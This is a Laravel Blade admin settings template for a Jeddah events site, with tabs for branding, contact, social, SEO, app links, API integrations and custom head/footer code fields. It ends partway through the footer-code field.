@extends('admin.layout')

@section('title', __('admin.settings'))

@section('content')
<div x-data="{ tab: '{{ session('tab', 'general') }}' }" class="space-y-6">

    {{-- Header --}}
    <div class="flex items-center justify-between">
        <div>
            <h1 class="text-2xl font-bold text-gray-900">{{ __('admin.settings_title') }}</h1>
            <p class="text-sm text-gray-500 mt-1">{{ __('admin.settings_subtitle') }}</p>
        </div>
    </div>

    {{-- Success Alert --}}
    @if(session('success'))
        <div class="bg-green-50 border border-green-200 rounded-xl p-4 flex items-center gap-3">
            <i class="fas fa-check-circle text-green-500 text-lg"></i>
            <span class="text-green-800 text-sm font-medium">{{ session('success') }}</span>
        </div>
    @endif

    {{-- Tabs Navigation --}}
    <div class="bg-white rounded-xl border border-slate-200">
        <div class="border-b border-gray-200 overflow-x-auto">
            <nav class="flex -mb-px px-4" aria-label="Settings tabs">
                <button type="button" @click="tab = 'general'"
                    :class="tab === 'general' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-cog mr-1.5"></i> {{ __('admin.general') }}
                </button>
                <button type="button" @click="tab = 'contact'"
                    :class="tab === 'contact' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-address-book mr-1.5"></i> {{ __('admin.contact') }}
                </button>
                <button type="button" @click="tab = 'social'"
                    :class="tab === 'social' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-share-alt mr-1.5"></i> {{ __('admin.social_media') }}
                </button>
                <button type="button" @click="tab = 'seo'"
                    :class="tab === 'seo' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-search mr-1.5"></i> {{ __('admin.seo') }}
                </button>
                <button type="button" @click="tab = 'app'"
                    :class="tab === 'app' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-mobile-alt mr-1.5"></i> {{ __('admin.mobile_app') }}
                </button>
                <button type="button" @click="tab = 'integrations'"
                    :class="tab === 'integrations' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-plug mr-1.5"></i> {{ __('admin.integrations') }}
                </button>
                <button type="button" @click="tab = 'advanced'"
                    :class="tab === 'advanced' ? 'border-brand-500 text-brand-600' : 'border-transparent text-gray-500 hover:text-gray-700 hover:border-gray-300'"
                    class="whitespace-nowrap py-4 px-4 border-b-2 font-medium text-sm transition">
                    <i class="fas fa-tools mr-1.5"></i> {{ __('admin.advanced') }}
                </button>
            </nav>
        </div>
    </div>

    <form method="POST" action="{{ route('admin.settings.update') }}" enctype="multipart/form-data">
        @csrf
        <input type="hidden" name="_tab" x-bind:value="tab">

        {{-- ============================================================ --}}
        {{-- GENERAL TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'general'" x-cloak class="space-y-6">

            {{-- Site Identity --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.site_identity') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.site_identity_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.site_name_en') }}</label>
                            <input type="text" name="settings[site_name_en]" value="{{ $all['site_name_en'] ?? '' }}"
                                placeholder="Jeddah Night" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.site_name_ar') }}</label>
                            <input type="text" name="settings[site_name_ar]" value="{{ $all['site_name_ar'] ?? '' }}" dir="rtl"
                                placeholder="ليالي جدة" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                    </div>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.site_description_en') }}</label>
                            <textarea name="settings[site_description_en]" rows="3" placeholder="Discover the best places and events in Jeddah"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['site_description_en'] ?? '' }}</textarea>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.site_description_ar') }}</label>
                            <textarea name="settings[site_description_ar]" rows="3" dir="rtl" placeholder="اكتشف أفضل الأماكن والفعاليات في جدة"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['site_description_ar'] ?? '' }}</textarea>
                        </div>
                    </div>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.default_language') }}</label>
                            <select name="settings[default_language]" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                                <option value="ar" {{ ($all['default_language'] ?? 'ar') === 'ar' ? 'selected' : '' }}>Arabic</option>
                                <option value="en" {{ ($all['default_language'] ?? 'ar') === 'en' ? 'selected' : '' }}>English</option>
                            </select>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.timezone') }}</label>
                            <select name="settings[timezone]" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                                <option value="Asia/Riyadh" {{ ($all['timezone'] ?? 'Asia/Riyadh') === 'Asia/Riyadh' ? 'selected' : '' }}>Asia/Riyadh (UTC+3)</option>
                                <option value="UTC" {{ ($all['timezone'] ?? '') === 'UTC' ? 'selected' : '' }}>UTC</option>
                            </select>
                        </div>
                    </div>
                </div>
            </div>

            {{-- Branding --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.branding') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.branding_desc') }}</p>
                </div>
                <div class="p-6">
                    <div class="grid grid-cols-1 md:grid-cols-3 gap-6">
                        {{-- Logo --}}
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-2">{{ __('admin.site_logo') }}</label>
                            <div class="border-2 border-dashed border-gray-300 rounded-lg p-4 text-center hover:border-brand-400 transition">
                                @if(!empty($all['site_logo']))
                                    <img src="{{ asset('storage/' . $all['site_logo']) }}" alt="Logo" class="h-16 mx-auto mb-3 object-contain">
                                @else
                                    <i class="fas fa-image text-3xl text-gray-300 mb-2"></i>
                                    <p class="text-xs text-gray-400">{{ __('admin.no_logo') }}</p>
                                @endif
                                <input type="file" name="site_logo" accept="image/*" class="mt-2 w-full text-xs text-gray-500 file:mr-2 file:py-1 file:px-3 file:rounded-md file:border-0 file:text-xs file:bg-brand-50 file:text-brand-600 hover:file:bg-brand-100">
                            </div>
                        </div>
                        {{-- Favicon --}}
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-2">{{ __('admin.favicon') }}</label>
                            <div class="border-2 border-dashed border-gray-300 rounded-lg p-4 text-center hover:border-brand-400 transition">
                                @if(!empty($all['site_favicon']))
                                    <img src="{{ asset('storage/' . $all['site_favicon']) }}" alt="Favicon" class="h-16 mx-auto mb-3 object-contain">
                                @else
                                    <i class="fas fa-star text-3xl text-gray-300 mb-2"></i>
                                    <p class="text-xs text-gray-400">{{ __('admin.no_logo') }}</p>
                                @endif
                                <input type="file" name="site_favicon" accept="image/*" class="mt-2 w-full text-xs text-gray-500 file:mr-2 file:py-1 file:px-3 file:rounded-md file:border-0 file:text-xs file:bg-brand-50 file:text-brand-600 hover:file:bg-brand-100">
                            </div>
                        </div>
                        {{-- OG Image --}}
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-2">{{ __('admin.image') }}</label>
                            <div class="border-2 border-dashed border-gray-300 rounded-lg p-4 text-center hover:border-brand-400 transition">
                                @if(!empty($all['site_og_image']))
                                    <img src="{{ asset('storage/' . $all['site_og_image']) }}" alt="OG Image" class="h-16 mx-auto mb-3 object-contain">
                                @else
                                    <i class="fas fa-share-square text-3xl text-gray-300 mb-2"></i>
                                    <p class="text-xs text-gray-400">{{ __('admin.no_logo') }}</p>
                                @endif
                                <input type="file" name="site_og_image" accept="image/*" class="mt-2 w-full text-xs text-gray-500 file:mr-2 file:py-1 file:px-3 file:rounded-md file:border-0 file:text-xs file:bg-brand-50 file:text-brand-600 hover:file:bg-brand-100">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- CONTACT TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'contact'" x-cloak class="space-y-6">
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.contact_info') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.contact_info_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fas fa-envelope text-gray-400 mr-1"></i> {{ __('admin.primary_email') }}
                            </label>
                            <input type="email" name="settings[contact_email]" value="{{ $all['contact_email'] ?? '' }}"
                                placeholder="info@jeddahnight.com" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fas fa-headset text-gray-400 mr-1"></i> {{ __('admin.support_email') }}
                            </label>
                            <input type="email" name="settings[support_email]" value="{{ $all['support_email'] ?? '' }}"
                                placeholder="support@jeddahnight.com" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                    </div>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fas fa-phone text-gray-400 mr-1"></i> {{ __('admin.phone') }}
                            </label>
                            <input type="tel" name="settings[contact_phone]" value="{{ $all['contact_phone'] ?? '' }}"
                                placeholder="+966 5x xxx xxxx" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fab fa-whatsapp text-green-500 mr-1"></i> {{ __('admin.whatsapp') }}
                            </label>
                            <input type="tel" name="settings[contact_whatsapp]" value="{{ $all['contact_whatsapp'] ?? '' }}"
                                placeholder="+966 5x xxx xxxx" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        </div>
                    </div>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.address_en') }}</label>
                            <textarea name="settings[contact_address_en]" rows="2" placeholder="Jeddah, Saudi Arabia"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['contact_address_en'] ?? '' }}</textarea>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.address_ar') }}</label>
                            <textarea name="settings[contact_address_ar]" rows="2" dir="rtl" placeholder="جدة، المملكة العربية السعودية"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['contact_address_ar'] ?? '' }}</textarea>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- SOCIAL MEDIA TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'social'" x-cloak class="space-y-6">
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.social_media_links') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.social_media_links_desc') }}</p>
                </div>
                <div class="p-6 space-y-4">
                    @php
                        $socials = [
                            ['key' => 'social_instagram', 'label' => 'Instagram', 'icon' => 'fab fa-instagram', 'color' => 'text-pink-500', 'placeholder' => 'https://instagram.com/jeddahnight'],
                            ['key' => 'social_twitter', 'label' => 'X (Twitter)', 'icon' => 'fab fa-x-twitter', 'color' => 'text-gray-900', 'placeholder' => 'https://x.com/jeddahnight'],
                            ['key' => 'social_facebook', 'label' => 'Facebook', 'icon' => 'fab fa-facebook', 'color' => 'text-blue-600', 'placeholder' => 'https://facebook.com/jeddahnight'],
                            ['key' => 'social_tiktok', 'label' => 'TikTok', 'icon' => 'fab fa-tiktok', 'color' => 'text-gray-900', 'placeholder' => 'https://tiktok.com/@jeddahnight'],
                            ['key' => 'social_snapchat', 'label' => 'Snapchat', 'icon' => 'fab fa-snapchat', 'color' => 'text-yellow-400', 'placeholder' => 'https://snapchat.com/add/jeddahnight'],
                            ['key' => 'social_youtube', 'label' => 'YouTube', 'icon' => 'fab fa-youtube', 'color' => 'text-red-600', 'placeholder' => 'https://youtube.com/@jeddahnight'],
                            ['key' => 'social_linkedin', 'label' => 'LinkedIn', 'icon' => 'fab fa-linkedin', 'color' => 'text-blue-700', 'placeholder' => 'https://linkedin.com/company/jeddahnight'],
                        ];
                    @endphp

                    @foreach($socials as $social)
                        <div class="flex items-center gap-4 p-3 rounded-lg hover:bg-gray-50 transition">
                            <div class="w-10 h-10 rounded-lg bg-gray-100 flex items-center justify-center flex-shrink-0">
                                <i class="{{ $social['icon'] }} {{ $social['color'] }} text-lg"></i>
                            </div>
                            <div class="flex-1">
                                <label class="block text-sm font-medium text-gray-700 mb-1">{{ $social['label'] }}</label>
                                <input type="url" name="settings[{{ $social['key'] }}]" value="{{ $all[$social['key']] ?? '' }}"
                                    placeholder="{{ $social['placeholder'] }}"
                                    class="w-full border border-gray-300 rounded-lg px-4 py-2 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                            </div>
                        </div>
                    @endforeach
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- SEO TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'seo'" x-cloak class="space-y-6">
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.seo_title') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.seo_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.meta_title_en') }}</label>
                            <input type="text" name="settings[seo_meta_title_en]" value="{{ $all['seo_meta_title_en'] ?? '' }}"
                                placeholder="Jeddah Night - Discover Jeddah" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                            <p class="text-xs text-gray-400 mt-1">{{ __('admin.recommended_chars', ['count' => '50-60']) }}</p>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.meta_title_ar') }}</label>
                            <input type="text" name="settings[seo_meta_title_ar]" value="{{ $all['seo_meta_title_ar'] ?? '' }}" dir="rtl"
                                placeholder="ليالي جدة - اكتشف جدة" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                            <p class="text-xs text-gray-400 mt-1">{{ __('admin.recommended_chars', ['count' => '50-60']) }}</p>
                        </div>
                    </div>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.meta_description_en') }}</label>
                            <textarea name="settings[seo_meta_description_en]" rows="3" placeholder="Discover the best places, events, and nightlife in Jeddah, Saudi Arabia."
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['seo_meta_description_en'] ?? '' }}</textarea>
                            <p class="text-xs text-gray-400 mt-1">{{ __('admin.recommended_chars', ['count' => '150-160']) }}</p>
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.meta_description_ar') }}</label>
                            <textarea name="settings[seo_meta_description_ar]" rows="3" dir="rtl" placeholder="اكتشف أفضل الأماكن والفعاليات والحياة الليلية في جدة"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">{{ $all['seo_meta_description_ar'] ?? '' }}</textarea>
                            <p class="text-xs text-gray-400 mt-1">{{ __('admin.recommended_chars', ['count' => '150-160']) }}</p>
                        </div>
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.meta_keywords') }}</label>
                        <input type="text" name="settings[seo_keywords]" value="{{ $all['seo_keywords'] ?? '' }}"
                            placeholder="jeddah, events, nightlife, restaurants, entertainment"
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                        <p class="text-xs text-gray-400 mt-1">{{ __('admin.comma_separated') }}</p>
                    </div>
                </div>
            </div>

            {{-- Analytics --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.analytics_tracking') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.analytics_tracking_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fab fa-google text-gray-400 mr-1"></i> {{ __('admin.google_analytics_id') }}
                            </label>
                            <input type="text" name="settings[seo_google_analytics]" value="{{ $all['seo_google_analytics'] ?? '' }}"
                                placeholder="G-XXXXXXXXXX" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">
                                <i class="fab fa-google text-gray-400 mr-1"></i> {{ __('admin.gtm_id') }}
                            </label>
                            <input type="text" name="settings[seo_gtm_id]" value="{{ $all['seo_gtm_id'] ?? '' }}"
                                placeholder="GTM-XXXXXXX" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        </div>
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fab fa-facebook text-blue-500 mr-1"></i> {{ __('admin.facebook_pixel_id') }}
                        </label>
                        <input type="text" name="settings[seo_facebook_pixel]" value="{{ $all['seo_facebook_pixel'] ?? '' }}"
                            placeholder="XXXXXXXXXXXXXXX" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                    </div>
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- MOBILE APP TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'app'" x-cloak class="space-y-6">
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.app_store_links') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.app_store_links_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fab fa-apple text-gray-900 mr-1"></i> {{ __('admin.app_store_ios') }}
                        </label>
                        <input type="url" name="settings[app_store_url]" value="{{ $all['app_store_url'] ?? '' }}"
                            placeholder="https://apps.apple.com/app/jeddah-night/id..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fab fa-google-play text-green-600 mr-1"></i> {{ __('admin.google_play_android') }}
                        </label>
                        <input type="url" name="settings[app_play_store_url]" value="{{ $all['app_play_store_url'] ?? '' }}"
                            placeholder="https://play.google.com/store/apps/details?id=..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fas fa-mobile-alt text-red-500 mr-1"></i> {{ __('admin.huawei_appgallery') }}
                        </label>
                        <input type="url" name="settings[app_huawei_url]" value="{{ $all['app_huawei_url'] ?? '' }}"
                            placeholder="https://appgallery.huawei.com/app/..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                    </div>
                </div>
            </div>

            {{-- Push Notifications --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.notifications_title') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.onesignal_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-5">
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.onesignal_app_id') }}</label>
                            <input type="text" name="settings[onesignal_app_id]" value="{{ $all['onesignal_app_id'] ?? '' }}"
                                placeholder="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        </div>
                        <div>
                            <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.onesignal_api_key') }}</label>
                            <input type="password" name="settings[onesignal_api_key]" value="{{ $all['onesignal_api_key'] ?? '' }}"
                                placeholder="Your REST API key"
                                class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        </div>
                    </div>
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- INTEGRATIONS TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'integrations'" x-cloak class="space-y-6">
            {{-- Google Maps --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">
                        <i class="fas fa-map-marker-alt text-red-500 mr-2"></i> {{ __('admin.google_maps') }}
                    </h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.google_maps_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.google_maps_api_key') }}</label>
                        <input type="password" name="settings[google_maps_api_key]" value="{{ $all['google_maps_api_key'] ?? '' }}"
                            placeholder="AIzaSy..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                        <p class="text-xs text-gray-400 mt-1">{{ __('admin.google_maps_api_key_desc') }}</p>
                    </div>
                </div>
            </div>

            {{-- Claude AI --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">
                        <i class="fas fa-robot text-purple-500 mr-2"></i> {{ __('admin.claude_ai') }}
                    </h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.claude_ai_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.anthropic_api_key') }}</label>
                        <input type="password" name="settings[anthropic_api_key]" value="{{ $all['anthropic_api_key'] ?? '' }}"
                            placeholder="sk-ant-api03-..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.model') }}</label>
                        <select name="settings[anthropic_model]" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm">
                            <option value="claude-sonnet-4-20250514" {{ ($all['anthropic_model'] ?? '') === 'claude-sonnet-4-20250514' ? 'selected' : '' }}>Claude Sonnet 4</option>
                            <option value="claude-haiku-4-20250414" {{ ($all['anthropic_model'] ?? '') === 'claude-haiku-4-20250414' ? 'selected' : '' }}>Claude Haiku 4</option>
                            <option value="claude-opus-4-20250514" {{ ($all['anthropic_model'] ?? '') === 'claude-opus-4-20250514' ? 'selected' : '' }}>Claude Opus 4</option>
                        </select>
                    </div>
                </div>
            </div>

            {{-- Google Custom Search --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">
                        <i class="fab fa-google text-blue-500 mr-2"></i> {{ __('admin.google_custom_search') }}
                    </h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.google_custom_search_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.cse_api_key') }}</label>
                        <input type="password" name="settings[google_cse_api_key]" value="{{ $all['google_cse_api_key'] ?? '' }}"
                            placeholder="AIzaSy..."
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.search_engine_id') }}</label>
                        <input type="text" name="settings[google_cse_engine_id]" value="{{ $all['google_cse_engine_id'] ?? '' }}"
                            placeholder="xxxxxxxxxxxxxxxxx:xxxxxxxxxxx"
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">
                    </div>
                </div>
            </div>
        </div>

        {{-- ============================================================ --}}
        {{-- ADVANCED TAB --}}
        {{-- ============================================================ --}}
        <div x-show="tab === 'advanced'" x-cloak class="space-y-6">

            {{-- Maintenance Mode --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.maintenance_mode') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.maintenance_mode_desc') }}</p>
                </div>
                <div class="p-6">
                    <label class="flex items-center gap-3 cursor-pointer">
                        <input type="hidden" name="settings[maintenance_mode]" value="0">
                        <input type="checkbox" name="settings[maintenance_mode]" value="1"
                            {{ ($all['maintenance_mode'] ?? '0') === '1' ? 'checked' : '' }}
                            class="w-5 h-5 text-brand-500 border-gray-300 rounded focus:ring-brand-500">
                        <div>
                            <span class="text-sm font-medium text-gray-700">{{ __('admin.enable_maintenance') }}</span>
                            <p class="text-xs text-gray-400">{{ __('admin.maintenance_note') }}</p>
                        </div>
                    </label>
                </div>
            </div>

            {{-- Code Injection --}}
            <div class="bg-white rounded-xl border border-slate-200">
                <div class="px-6 py-4 border-b border-gray-200">
                    <h3 class="text-lg font-semibold text-gray-900">{{ __('admin.code_injection') }}</h3>
                    <p class="text-sm text-gray-500 mt-0.5">{{ __('admin.code_injection_desc') }}</p>
                </div>
                <div class="p-6 space-y-5">
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fas fa-code text-gray-400 mr-1"></i> {{ __('admin.custom_head_code') }}
                        </label>
                        <textarea name="settings[custom_head_code]" rows="4" placeholder="<!-- Paste tracking scripts, meta tags, etc. -->"
                            class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent text-sm font-mono">{{ $all['custom_head_code'] ?? '' }}</textarea>
                        <p class="text-xs text-gray-400 mt-1">{{ __('admin.head_code_note') }}</p>
                    </div>
                    <div>
                        <label class="block text-sm font-medium text-gray-700 mb-1">
                            <i class="fas fa-code text-gray-400 mr-1"></i> {{ __('admin.custom_footer_code') }}
                        </label>
                        <textarea name="settings[custom_footer_code]" rows="4" placeholder="<!-- Paste chat widgets, tracking pixels, etc. -->"
